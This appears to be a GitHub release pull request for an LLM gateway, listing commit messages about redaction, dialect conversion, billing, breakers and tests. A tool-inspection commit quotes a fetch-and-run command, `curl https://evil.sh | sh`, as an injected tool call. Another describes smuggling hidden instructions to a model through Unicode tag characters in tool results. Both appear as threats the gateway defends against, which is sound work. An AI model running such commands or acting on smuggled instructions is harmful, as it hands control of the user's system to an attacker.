Skip to content

release: v2.0.0 - #57

Merged
fylorn merged 32 commits into
mainfrom
release/2.0.0
Sep 24, 2026
Merged

fylorn merged 32 commits into
mainfrom
release/2.0.0

Conversation

@fylorn

@fylorn fylorn commented Sep 24, 2026

Copy link
Copy Markdown
Contributor

See CHANGELOG.md [2.0.0] for the full notes.

Cut from dev at 443de8d (locked).

🤖 Generated with Claude Code

fylorn and others added 30 commits September 23, 2026 15:18
The five core crates were declared as `branch = "main"`, so every
`cargo update` took whatever was on that branch at the time. Nothing has
broken yet, but only by luck: the lock sat on `6d27617` (core v0.1.0)
while core moved 127 commits to v0.29.0, and across that span the crates
we consume changed by four lines in total — three `description` fields
and one doc comment. There was nothing to collide with.

That stops being true now. The shared layer is about to be worked on, so
an unpinned branch turns every core merge into a coin flip on this
build. The desktop app has always pinned a tag; this does the same.

Moving the lock from v0.1.0 to v0.29.0 compiles clean across the
workspace with no source changes, which is the same fact stated a
second way.

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
* chore: pin core v0.32.0 and take the shared transport

Moves the pin from v0.29.0 to v0.32.0 and adds the three crates the
dialect migration needs: tw-dialect for conversion, tw-upstream for
sending a converted request (with the sigv4 feature, since Bedrock
routes are ours), tw-wire for reading usage off a stream without
buffering it.

`gateway/src/failover.rs` goes with it. It re-exported
`tw_resil::failover`, which core deleted as dead code — 582 lines with
no caller in either repository. Nothing here used it either: failover
lives in `proxy::routing::select_route_with_failover`. The only mention
left was a doc comment in the MCP gateway pointing at a type that no
longer exists.

No behaviour change. This is the version where both the old provider
adapters and the new transport exist, so the migration has somewhere to
land.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(cache): key on the whole request, not three fields of it

The cache key was model + messages + max_tokens, hashed. Everything
else a caller sends — tools, tool_choice, top_p, stop, seed,
response_format — was left out, so two requests differing only there
landed in the same slot and the second got the first one's answer.

It has not bitten yet only because tools never reached an upstream:
the provider adapters dropped them (ThinkWatch-Core#50). The moment
the conversion layer is fixed, "same question, different tools" turns
into a served tool call for the wrong tool.

The key is now a fingerprint of the entire request. `extra` is
flattened into ChatCompletionRequest, so every field the caller sent is
in the bytes by construction — there is no list of fields to forget to
extend. `stream` is cleared first: it changes framing, not the answer.

It is still computed after redaction, which is right: the stored
response carries placeholders and each caller restores with their own
context, so two callers asking the same thing about their own e-mail
share one slot and each gets their own value back.

`request_for_cache` in the post-invoke snapshot becomes
`cache_fingerprint` — the deps carried the whole request only for the
key to pick three fields back out of it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* feat: IR entry points for sending, content filtering and redaction

Groundwork for moving the handlers onto tw-dialect. Nothing calls these
from a request path yet; each has tests and each is the piece a handler
needs once it holds an intermediate representation instead of a
ChatCompletionRequest.

`proxy::transport` sends a converted request. A Prepared already is
the bytes the upstream should see, so all that is left is spelling the
URL — the dialect's path for most, a deployment in the URL for Azure,
a region-derived host plus a SigV4 signature for Bedrock. Signing
happens last, over the final body.

`ContentFilter::check_request` and `PiiRedactor::redact_request` do
what their Value-based siblings do, over a structure that is known
rather than guessed. The guessing versions look for a `text` field on
array elements and so never see what sits inside a tool result — which
is where an injected instruction, or a customer's data pulled in by a
tool, actually lives. Both new entry points recurse into it.

The system prompt is deliberately not redacted: it is written by the
operator, not typed by the caller, and redacting it rewrites the
operator's instructions.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(cache): a request that must not be cached has no fingerprint

Collapsing get/set onto a fingerprint dropped the temperature check that
used to open both of them. Requests sampled at a nonzero temperature
started being cached — asking for a fresh draw and getting someone
else's answer. The integration suite caught it
(temperature_nonzero_request_is_not_cached).

The check now decides whether a fingerprint exists at all. No
fingerprint, no key, nothing to look up or store — so the next refactor
of get/set cannot lose it again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor: drop two provider decorators nothing uses

`prefix_balancer` (routes by prompt-prefix hash for KV-cache reuse on
self-hosted backends) and `channel` (named provider endpoints with
priority and weight) are declared in lib.rs and used nowhere — not in
the gateway, not in the server, not in any test. Routing lives in
`router` and `proxy::routing`.

Both implement `DynAiProvider`, the trait the dialect migration is
retiring. Porting 813 lines of decorator that no request passes through
would be work spent on keeping dead code compiling.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* feat: redaction and response shaping that work on raw bytes

The dialect migration forwards a same-format request untouched — that
is the only way `cache_control`, server tools and metadata survive,
since the intermediate representation carries none of them. So
redaction and restoration can no longer assume a typed request and
response. These are the pieces that work on what actually goes over
the wire.

Redaction: PII is still found on the intermediate representation,
where the structure is known, and `RedactionContext::apply_to` carries
the value→placeholder mapping onto the raw request. It works on the
parsed Value rather than the bytes, because a client may send `@` as
an escape sequence; it replaces longer values first; it leaves `data`
and `bytes` alone, since changing a digit run inside base64 changes an
image, not PII.

That mapping has to be a function, so the same value now gets the same
placeholder. It also means a model no longer sees one e-mail address
as two people.

Restoration of a whole response happens on the bytes, with each
original JSON-escaped — a value containing a quote would otherwise
break the document.

Streams cannot be restored on bytes: a placeholder split across two
frames is not contiguous, the frame boundary sits in the middle of it.
`StreamShaper` works per frame on the text field of whichever format
it is, holding back an unclosed `{{` until the rest arrives, and
releasing a held tail as its own delta before the block closes rather
than after. It also puts the caller's model name back on every frame:
all formats keep it at the top level, under `message`, or under
`response`, so it needs no per-format branch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* feat: the transport owns the client policy, the status mapping and the protocol enum

Three things lived in tw-provider only because the adapters did, and
none of them is about converting anything:

- the HTTP client policy: 10s to connect, 300s overall, no redirects.
  Refusing redirects is the SSRF guard — `base_url` is typed in by an
  admin, and a provider answering 302 to the metadata address would
  otherwise walk gateway traffic there.
- the mapping from an upstream status to the caller's error, including
  truncating error bodies that have carried stack traces and account
  ids.
- `UpstreamProtocol`: the strings `model_routes.upstream_protocol`
  stores, keyed on this gateway's `provider_type` values. It gains a
  mapping to the conversion layer's dialect.

The transport now sends raw bytes to a path rather than a Prepared, so
a same-format request forwarded untouched goes through the same door
as a converted one.

Bedrock's host is built from the region the provider row keeps in
`base_url`; an earlier draft treated that field as a host suffix, and
its test was written to the same wrong assumption.

Header templating uses `tw_types::substitute_template` instead of a
second hand-written copy.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* feat!: forward what can be forwarded, convert only what must be

The three generation endpoints now share one pipeline, and it no
longer rebuilds every request as a chat-shaped DTO.

A request whose route speaks the caller's own format goes out as the
caller sent it — the model name changed, PII swapped for placeholders,
nothing else. A request crossing formats is decoded and re-encoded by
tw-dialect, which reports what the target cannot carry.

## What the DTO was losing

Anthropic to Anthropic, with the request Claude Code actually sends,
the upstream received:

    {"max_tokens":16,"messages":[{"content":"hi","role":"user"}],
     "model":"…","stream":false}

`system` was read with `as_str()`, which is `None` for the array form,
so Claude Code's whole system prompt was dropped. So were its tools,
`tool_choice`, `metadata` and every `cache_control` breakpoint — the
last one turning each cached prefix back into full-price input. The
`/v1/messages` and `/v1/responses` handlers also hardcoded
`extra: json!({})`, discarding everything the DTO did not model, and
the chat handler's `extra` reached the adapters only to be dropped
there (ThinkWatch-Core#50).

Same-format requests cannot go through the conversion layer either:
its intermediate representation has no place for `cache_control`,
server tools or `metadata`. Hence forwarding.

## What moved where

- The request is still decoded once, to know where the caller's text
  is. The content filter and PII detection read that — including text
  inside tool results, which the Value-guessing versions never saw. The
  found PII is carried back onto the raw request.
- A same-format request carries the caller's `anthropic-*` headers: its
  body may use a beta feature, and without the header the upstream
  refuses what used to work. Anthropic-bound requests always get
  `anthropic-version`, which the old adapter hardcoded and the API
  requires — the mock does not check it, so a test pins it.
- Responses are handled as the caller's bytes. Usage is sniffed off
  the upstream's own bytes by tw-wire, so a streamed response no longer
  keeps every chunk in memory for an accounting pass at the end — the
  field doing that was documented as unused. The model name goes back
  to the caller's alias, whole and per frame. PII is restored on a
  whole body in one pass, and per frame on the text field for a stream,
  since a placeholder split across two frames is not contiguous.
- The upstream call of a stream happens on the stream's first poll, so
  headers go out at once and a caller who leaves during the wait is
  still recorded as cancelled. A rejected dialect is retried inside
  that same call, before any byte reaches the caller — which made the
  old "peek the first item" machinery unnecessary.
- Routes share one upstream per provider instead of one adapter per
  (provider, dialect): only the format changes between alternates.
- The protocol probe encodes its request with the same layer as live
  traffic, so "the probe passed, forwarding fails" has nothing to hide
  behind.
- Output guardrails read the assistant text in whichever format the
  caller asked for; `max_length` still counts bytes, as it always has.

## Accounting

Prompt tokens are now counted the same for every upstream: plain input
plus cache reads and writes, OpenAI's definition. Anthropic's own
`input_tokens` excludes cached tokens, so routes to Anthropic will
record more prompt tokens than before for the same work. The price
model still charges every prompt token alike; pricing cache tokens
separately is a decision of its own.

## Removed

`providers/` and the tw-provider dependency, the three handlers,
`streaming.rs`, `token_counter.rs` and the character-count fallback
that used it, `redact_messages` / `restore_response`, the old
`ContentFilter::check`.

Integration suite (`make test-it`, run locally against Postgres, Redis
and ClickHouse): 225 passed, 22 failed — the same 22 that fail on dev
before this change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor: use core directly, declared once at the workspace root

Seven files did nothing but re-export core (`crypto`, `json_secret`,
`retry`, `cb_registry` in common; `metrics_labels`, `sse_parser`,
`transform` in gateway), plus a `pub use` of `retry` in gateway's lib.
They let the tree keep compiling while code moved to core. It has
moved; every call site now names the core crate it uses, and the shims
are gone. `sse_parser` and `transform` had no callers at all, so
tw-protocol is no longer a dependency.

The core crates are declared once, in `[workspace.dependencies]`,
pinned to one tag. Each crate says `{ workspace = true }`, so a core
release is a one-line bump instead of six.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix: read Bedrock's stream, and bill it on what Bedrock reported

Bedrock's ConverseStream is AWS eventstream, not SSE. The provider
adapter used to unframe it by hand; since the pipeline started
forwarding bytes, nothing did, and the converter, the usage sniffer
and the collector were all reading binary frames as if they were SSE.
A streamed Bedrock answer came out empty.

The pump now unframes a Bedrock stream at the door with core's
`tw_upstream::eventstream::Transcoder` (CRC checked, frames cut
anywhere held until whole). Everything after it reads the same SSE it
reads from every other upstream. An exception Bedrock sends mid-stream
(throttling, say) ends the stream with an error in the caller's
format, as a broken connection already did.

Core v0.35.0 also teaches the usage sniffer Converse's camelCase
counts. Before, every Bedrock call, streamed or not, found no usage
and was billed on an estimate.

Pins core v0.35.0; tw-upstream's `sigv4` feature is now `bedrock`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
…om core (#27)

tw-resil turned out to be server-edition code parked in the MIT
repository. The desktop gateway uses none of it: `retry` has no caller
in either tree, and `cb_registry` and `metrics_labels` are read and
written only here. "Shared" code with one user is a second place to
change things, not a shared one.

- `cb_registry` returns to `think-watch-common`, which both gateways
  and the dashboard already depend on.
- `metrics_labels` returns to the gateway, its only user.
- The `retry` re-export in the gateway's lib.rs had no callers; gone.

tw-resil is no longer a dependency, so core can delete it.

`health.rs` gains a note on why it is not merged with core's breaker:
this one is shared across replicas through Redis and trips on an error
rate; the desktop one is in-process, trips on consecutive failures and
fails open. Opposite premises, so there is no abstraction to share.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ents too (#28)

The server edition had its own copy of everything the desktop gateway
already does for redaction: matching, one placeholder per value,
holding back a split placeholder in a stream, restoring it frame by
frame. It had drifted twice over. tw-guard (core v0.37.0) is now the
one engine, with our patterns and our `{{EMAIL_1}}` scheme.

- `think_watch_common::pii` is the single home of the pattern config
  and the at-rest redactor. `PiiPatternConfig` existed twice (common
  and gateway) and `redact_blob` twice; both copies are gone.
- `PiiRedactor` keeps what only an in-flight redactor needs: which
  parts of a decoded request to look at, `apply_to` to carry the
  values onto the raw request, `restore_body` for a whole response.
  Matching is `scan_text`: patterns run on the decoded text as
  written, and restoring into JSON escapes what it puts back.
- `PiiRedactor::new()` hard-coded the six seed patterns a second time
  for tests; tests now build from the same list `db/seeds.sql` ships.
- The stream shaper restores through core's `FrameRestorer`, one lane
  per content block or tool call. **Tool-call arguments are restored
  now**: a model asked to email `a@x.com` used to call the tool with
  `{{EMAIL_1}}` as the address.
- Saving a pattern compiles it exactly as the redactor will, and the
  placeholder prefix must be letters, digits or underscores; a brace
  in it would make a placeholder indistinguishable from text.
- The admin "try patterns" endpoint reads the label up to the last
  underscore, so `CUSTOM_EMAIL` is no longer reported as `CUSTOM`.

`GatewayError::PolicyBlocked` (new in core) maps to 403
`policy_blocked`.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* feat: inspect the tool calls an upstream returns

An upstream writes the response, so it can hand the caller a tool call
the model never made — `bash("curl https://evil.sh | sh")` appended to
an ordinary answer. An agent in auto-approve runs it; a human approving
tool calls by the dozen waves it through. The desktop gateway has
guarded against this for months; the server edition had nothing.

It now runs the same inspection, from thinkwatch-core's tw-guard: a
built-in set of dangerous-command rules, each of which an admin can
switch off or re-grade, plus rules of their own.

- **Settings**: `security.tool_inspection` — mode (off / observe /
  enforce), built-in rules switched off, actions that differ from the
  factory ones, custom rules. **Observe by default**: it changes nothing
  on the wire and records every hit, so an operator sees what enforce
  would cut before turning it on. Hot-reloaded like the content filter
  and PII patterns; the validator refuses unknown built-in ids,
  duplicate or empty names and patterns that do not compile.
- **Streams** are inspected on what the client is about to receive —
  converted, if it was — and in enforce mode cut at the frame that would
  complete a matching call. What the model said before it still goes
  out; an incomplete call cannot be executed. The refusal ends the
  stream in the caller's format, and the converter's final bytes are
  inspected too, since they can close a tool block.
- **Whole responses**, and cache hits, are inspected before anything
  has gone out and refused with 403 (`GatewayError::PolicyBlocked`).
  Like an output-guardrail refusal, a refused answer is neither cached
  nor billed; the route's health counts it as a success, since the
  upstream did nothing wrong.
- **Every hit** is an audit-log event, `gateway.tool_call_flagged` or
  `gateway.tool_call_blocked`, attributed to the caller, with the rule,
  the tool and a truncated excerpt (placeholder form where PII was
  redacted), plus a `gateway_tool_call_flagged_total` counter.
- **Admin**: `GET /api/admin/settings/tool-inspection/rules` lists the
  built-in rules; `POST …/tool-inspection/test` runs a sample against
  the config being edited. The security page gains a card for it (mode,
  built-in rules with a switch and an Enforce action each, custom rules)
  and a third sandbox tab.

Pins core v0.38.0 for the rule fix it depends on: rm-rf-root and
crontab-install now match where a command ends inside the arguments'
JSON, which this change's own unit test caught.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(gateway): say why body capture is not shared with the desktop gateway

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: pin core v0.38.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Each integration test links the whole workspace into its own binary,
and with full debug info target/ grew to ~150 GB in a day. Line tables
keep file:line in backtraces at a fraction of the size.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…uests (#31)

The AI gateway's route health and the MCP gateway's server breaker each
carried their own state machine, and the desktop gateway a third. They
now all run thinkwatch-core's tw-breaker; what differs between them —
where the state lives, what trips it — stays with each.

Route health (Redis, shared by replicas, tripped by an error rate):

- One Lua call inserts the sample, trims and tallies the window and reads
  the breaker; the transition is computed from that tally with the shared
  machine and written back only when it changes, by compare-and-set, so
  two replicas that read the same state cannot both write.
- **A tripped route came back only when its Redis key expired.** It moved
  from open to half-open only when a request on it completed, and an open
  route is never picked. A cooled breaker now reads as half-open, the
  next request probes it, and a success closes it. The new integration
  test fails on dev with "All routes failed" after the cooldown.
- The router and the route-health page read one `CircuitBreakerConfig`.
  With the breaker disabled, a route reads as closed instead of keeping
  whatever state it last had.

MCP breaker: the same machine in process, keyed by server id, transitions
mirrored to the dashboard registry as before. Its API is synchronous now.

Dashboard: **every AI provider read `Closed`** — the registry it looked
in is process-local and only the MCP breaker wrote to it. AI rows now
read their routes' real state from Redis, a provider showing its worst
route.

Hidden characters: Unicode tag characters carry an instruction invisibly
into the model's context, and bidi overrides make text read differently
on screen than it is. `security.hidden_text` (off / log / warn / block,
default warn) checks the caller's messages and the tool results inside
them — where a fetched page smuggles one in — using tw-guard's scanner.
Only those two kinds are flagged: zero-width joiners make emoji, Persian
needs the non-joiner, Cyrillic is Russian. Warn writes
`gateway.hidden_text_flagged` to the audit log; block refuses with 403
and writes `gateway.hidden_text_blocked`. The security page gets a card.

Pins core v0.40.0.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
22 of the ignored integration tests had been failing on dev. Most were
tests that fell behind the code; one was a real gap.

The gap: webhook and Kafka delivery, and several admin handlers, called
`validate_url` directly instead of the injectable `AppState.url_validator`,
so a test could not point them at a loopback mock. The validator type now
lives in `common::validation`; the audit forwarder registry and the
outbox drain carry it, and every handler goes through `state.url_validator`.

Tests brought up to date with the code:
- webhook signatures are HMAC over `<timestamp>.<body>`
- settings written straight to the database need a config reload
  (`TestApp::set_setting`)
- MCP namespace prefixes fit in 32 characters
- costs are decimal strings
- the TOTP SSO fixture satisfies `chk_users_auth_method`
- a truncated body still records its original size
- OIDC setup goes through the draft; a second signing key needs a fresh
  login; the OpenAPI probe posts the login route without minting PoW

Tests that saved a real public hostname no longer resolve it: DNS
hiccups made them flaky. `spawn_reaching_loopback` covers both cases.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
`successful_login_decays_subnet_failure_counter` failed about one run in
a hundred. The test client's PoW grinder gave up after 10M nonces, and at
difficulty 21 (mean 2^21 tries, geometric) that cap is hit with
probability e^-4.77. The cap is now 32 times the mean, and a difficulty
above 26 is refused up front as a misconfiguration.

`drain_drops_row_after_max_attempts` raced the server's own outbox drain,
which ticks every 10s: when the tick claimed the due row first, the
test's pass found nothing and the row was still leased at the assertion.
`TestApp::drain_outbox` makes a forwarder's rows due, drives a pass and
waits until each row has been attempted, whichever drain claimed it. All
four outbox tests use it. The outbox tests also reach the loopback
receiver now; before, their 500s came from the SSRF guard refusing it.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A Chat stream forwarded as sent reached the upstream without
`stream_options.include_usage` unless the caller had set it. The
upstream then reports no usage, and the request was recorded as zero
tokens: no quota, no budget debit, no cost. 1.0.2 estimated the count
in that case; the estimate went with the old pipeline in #26, and
nothing took its place.

A Chat stream now always asks the upstream for its usage. When the
caller did not, the shaper takes it back out of what the caller
receives: the trailing usage-only chunk, and the `"usage": null` the
upstream adds to every other chunk once asked. The sniffer reads the
upstream's own bytes before the shaper, so billing sees the real
count. Converted streams already asked for usage and write the
caller's chunk only when the caller wanted it.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…akers (#38)

`check_status` reported every non-2xx other than 429/401/403 as
`ProviderError`, and failover treated `ProviderError` as retryable. A
caller's bad request (400) therefore walked every route of the model,
and each hop was recorded as a breaker failure: one caller's malformed
requests could shut every route of a model for everyone.

An upstream status is now kept in `ProviderHttpError`, and
`is_upstream_failure` draws the line the desktop gateway draws. 5xx,
408, 429, timeouts, broken connections, unreadable bodies and a refused
gateway credential (401/403) move on to the next route and count
against the route. Any other 4xx goes straight back to the caller and
counts as the upstream working. Streams apply the same rule when their
outcome is recorded. Timeouts are reported as `ProviderTimeout`.

With the status structured, the relearn and probe classifiers no longer
read it back out of the message text. The probe also treats a 5xx as
inconclusive: an outage is about the moment, not the model.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

# Conflicts:
#	crates/gateway/src/lifecycle/mod.rs
#	crates/gateway/src/proxy/generate.rs
#	crates/gateway/src/proxy/protocol_relearn.rs
#	crates/gateway/src/proxy/transport.rs
#	crates/test-support/tests/gateway_failover.rs
…#39)

Two things the 1.1.0 release ran into:

- A `dev` -> `main` release PR deletes `dev` when it merges: the
  repository deletes merged head branches and `dev` is not protected.
  The release commit now goes on `release/X.Y.Z`, and after the squash
  `main` is merged back into `dev` so it stays an ancestor.
- `git tag -a -m` strips every line starting with `#` as a comment, so
  the v1.0.2 tag lost all of its `###` headings. The runbook now tags
  with `--cleanup=verbatim -F`.

It also says to run the integration suite before merging the release
PR, since CI does not.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…uite (#37)

* ci: run checks on pull requests into dev and on pushes to dev

Feature work lands on dev, and until now nothing checked it: CI only
triggered for main. The image build and publish jobs stay gated on a
push to main.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* ci: run the integration suite

The ~260 integration tests in crates/test-support/tests/ are #[ignore]d,
and CI never ran them. A new job starts Postgres (1GB /dev/shm), Redis
and ClickHouse as services and runs them with nextest.

The harness FLUSHDBs its Redis logical DB on every spawn, which is why
make test-it runs one test at a time. Under nextest each running test
now takes DB base + NEXTEST_TEST_GLOBAL_SLOT, so four can run at once
without clearing each other's state.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* build: optimise the hash crates in dev and test builds

Each login in the integration suite runs Argon2 and grinds a SHA-256
proof-of-work, both unoptimised in a test build. In CI the login-heavy
tests took one to two minutes each, and the slowest (128s) was close to
the 180s kill limit.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
… carried signatures (#40)

Cached input was billed at the full input price. The prompt count put
cache reads and writes together with plain input, so an Anthropic turn
that read 10k tokens from its cache cost as much as sending them fresh,
and weighed as much against rate limits and budgets. Models get three
optional weights against the input baseline: cache read, cache write,
and 1-hour cache write. Unset, they follow the input weight at
Anthropic's ratios (0.1x, 1.25x, 2x). Cost and weighted tokens now price
each bucket on its own weight. The audit row keeps the whole input in
`input_tokens` and gains the cache split in its detail. The admin API
and the model editor carry the new weights.

A request the upstream reported no usage for was billed as zero tokens.
#34 made Chat streams ask for usage, but usage can still be missing: the
upstream ignores `stream_options`, or the caller leaves mid-stream and
takes the final usage chunk with it. The count is now estimated at about
four bytes a token from the request and from the answer that arrived,
and the row says `usage_estimated`. A stream cut short keeps the
upstream's input count and bills the larger of its running output count
and the estimate. No answer at all still bills nothing.

A request forwarded as sent now drops the `tw1.` reasoning signatures an
earlier conversion wrote, via `tw_dialect::convert::strip_carried`, as
the desktop gateway does. Anthropic refuses a whole request over them.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: take back what only this side used from core

Core's shared layer now holds only what both gateways use. This side
depends on tw-dialect, tw-guard and tw-breaker, and takes back the rest:

- `tw-crypto` becomes `think_watch_common::{crypto, json_secret}`.
  `JsonSecret` returns `AppError` directly; the separate `SecretError`
  only existed to keep core from knowing this crate's error type.
- `GatewayError` and `parse_retry_after_seconds` become
  `think_watch_gateway::error`; `CallCtx` and `substitute_template` become
  `think_watch_gateway::call_ctx` (the unused `CallCtx::trace` is gone).
- SigV4 signing and eventstream unframing become
  `think_watch_gateway::bedrock`, with core's end-to-end Converse stream
  test moved alongside.
- Usage sniffing is `tw_dialect::usage` and `upstream_url` is
  `tw_dialect::url`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* build: use core v0.42.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…from core v0.42.0 (#42)

- `tw_dialect::official::is_official_host` replaces the three-host list
  in transport, so DeepSeek, Moonshot, Z.ai and the rest are official
  too and a relay cannot pass itself off as one through its path or
  user info. `ANTHROPIC_VERSION` comes from there as well.
- The output length written for an upstream that requires one is
  `fallback_max_output_tokens(model)` (32000 for Claude, 8192 else)
  instead of a fixed 4096 that cut Claude answers short.
- Stream error frames come from `tw_dialect::convert::error_frame`:
  Responses clients get `response.failed`, Anthropic clients an
  `error` event of the right type, instead of Chat-shaped frames they
  skip.
- Whole error bodies come from `tw_dialect::convert::error_body` in
  the caller's format. The Chat body's `type` is now OpenAI's own
  vocabulary (`rate_limit_error`, `server_error`, ...).
- The provider test builds its URL with `tw_dialect::url::upstream_url`.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…bSocket (#43)

Gemini: POST /v1beta/models/{model}:generateContent and
:streamGenerateContent (also under /v1), through the same pipeline as
the other surfaces. The model and the stream flag come from the path.
Inside, a Gemini stream is always SSE; a caller that did not ask for
alt=sse gets it reframed as one JSON array at the end. A Gemini upstream
gets the request as sent, at the routed model's path. Errors are in
Gemini's shape. GET /v1beta/models lists models in Gemini's shape, and
the model name in modelVersion is the caller's, like elsewhere.

The API key is read from x-api-key, x-goog-api-key or ?key= as well as
Authorization: Bearer, so Anthropic and Gemini SDKs work with their own
settings. The query never reaches an upstream.

Responses over WebSocket: GET /v1/responses upgraded. Each
response.create frame is one request through generate(), so it is
limited, routed and converted, inspected, billed and logged exactly like
a streamed POST /v1/responses; its SSE events go back as text frames.
A refusal is a response.failed frame and the connection stays open.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The test polls until a request comes back X-Cache: HIT. A probe sent
before the first stream's tail has written the cache is itself a MISS
and calls the upstream, so asserting exactly one upstream call failed
whenever the write lost that race. Each MISS now accounts for one call;
the HIT still has to make none.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The models, routes, providers and platform-pricing handlers no longer
carry SQL: services::{model,provider,pricing}_repository hold every
statement, verbatim, one function per statement or transaction. The
handlers keep validation, audit and the router / cache refresh. The row
types those queries return (ModelRow, ModelIdRow, ModelRouteRow,
PlatformPricing) move with them.

No behaviour change. admin_catalog.rs pins the endpoints that had no
integration test (route PATCH/delete, the flat route listing, batch
weights and toggles, bulk model operations, the unrouted cleanup,
provider edit and delete, pricing); it passes against both the old and
the new code.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ers' SQL into repositories (#46)

The 40 Postgres statements in the dashboard, health, route-health,
analytics, chargeback, gateway-log, limits, log-forwarder and
webhook-outbox handlers move into five repositories under
`services/`: observability, analytics, limits, log_forwarder and
webhook_outbox. SQL text, binds and fetch kinds are unchanged; six
statements that were written out twice are now one function each.
Callers that word database errors themselves keep getting a raw
`sqlx::Error`. `WebhookOutboxRow` moves into its repository.

New integration tests (admin_observability.rs) cover the endpoints
that had none; they pass on the code before and after the move.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The MCP server, connection, shared-credential, store and tool-catalog
handlers no longer carry SQL. Their 50 statements move, text and binds
unchanged, into four repositories under `services/`:

- mcp_server_repository: mcp_servers reads and writes, the update and
  delete transactions (with their credential purge and install-count
  decrement), last_error updates, the unique-violation to 409 mapping
- mcp_credential_repository: per-user and shared credentials, including
  the upsert, revoke and set-default transactions
- mcp_store_repository: templates, installs, the registry-sync upsert
  and prune, the install advisory lock
- mcp_tool_repository: the tool catalog count and page (McpToolRow
  moves here)

Server create and registry sync keep their transaction in the handler
and pass it to the repository, since they interleave non-SQL work.

admin_mcp_catalog.rs covers the endpoints the suite didn't reach; it
passes on the code before and after this change.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…49)

* refactor(gateway): run the request guards on core's tw-guard engines

Core v0.43.0 moved this gateway's guard engines into the shared
`tw-guard` crate. Switch to them and drop the copies here:

- Hidden text: `tw_guard::hidden::scan_request` with `SMUGGLING`. The
  audit event's `found` items gain `revealed`, the text the tag
  characters spell.
- Content filter: `tw_guard::content`. Stored rules keep their format
  (`security.content_filter_patterns`); each compiles through
  `Rule::new`, a bad one is skipped and the rest run. Rules are keyed by
  position, so two with the same name both report. The settings
  validator runs the same compile, so an empty pattern is now refused on
  save. Presets are core's built-ins grouped as injection / persona /
  chinese (were basic / strict / chinese).
- Output length: `tw_guard::output` with byte counting, as before. The
  cap now also applies to streams: the frame that crosses it is not
  sent and the stream ends with an error in the caller's format (a
  Gemini JSON array ends with an error element and `]`). Cache hits are
  checked against the cap in force.

Bumps tw-dialect, tw-guard and tw-breaker to v0.43.0 and removes
`common::regex_util`, which nothing uses any more.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* style: rustfmt the output limit tests

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
)

The users, roles and teams admin handlers carried 56 inline sqlx
statements. They now live in services::user_repository (extended),
services::role_repository and services::team_repository, each
statement carried over verbatim with the same binds and fetch kind.
Handlers keep permission checks, validation, the super-admin quorum
guard, audit and cache invalidation; transactions that compose several
statements stay in the handler and pass the connection down.

Where a handler maps or swallows a raw sqlx error (constraint names,
unwrap_or_default, a logged cascade failure), the repository returns
sqlx::Error so that mapping is unchanged. Team and TeamRoleRow move
with their queries. user_repository drops its dead-code allow and the
unused get_active / find_email; soft_delete now matches the statement
delete_user actually runs.

Adds crates/test-support/tests/admin_identity.rs (12 tests) covering
the endpoints and branches the suite didn't reach; it passes against
the code before and after the move.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Revoking the account a user had marked default, on a server where they
hold other accounts too (or none), always failed: the statement that
promotes the newest remaining account selected `id` from
`mcp_user_credentials`, which has no `id` column. The error rolled the
delete back, so the account couldn't be revoked at all.

Select by the table's key (server, user, account_label) instead. A test
covers promoting the newest account and revoking down to none.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…#52)

streaming_client_disconnect_emits_cancelled_gateway_log dropped the
request on a 150 ms client timeout. The gateway returns the SSE response
only after auth, limits and routing; when those took longer than 150 ms
under load, the client left before the stream existed, hyper dropped the
handler, and no gateway_logs row was ever written ("cancelled row never
landed"). Reproduced deterministically with a 5 ms timeout.

The client now waits for the response headers, which the gateway sends
before calling the upstream, and drops the response: the disconnect
always lands on a running stream, which is what the test is about. The
upstream's delay goes from 5 s to 60 s so it can never answer first.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The API key, auth, SSO, setup and OIDC/settings handlers no longer
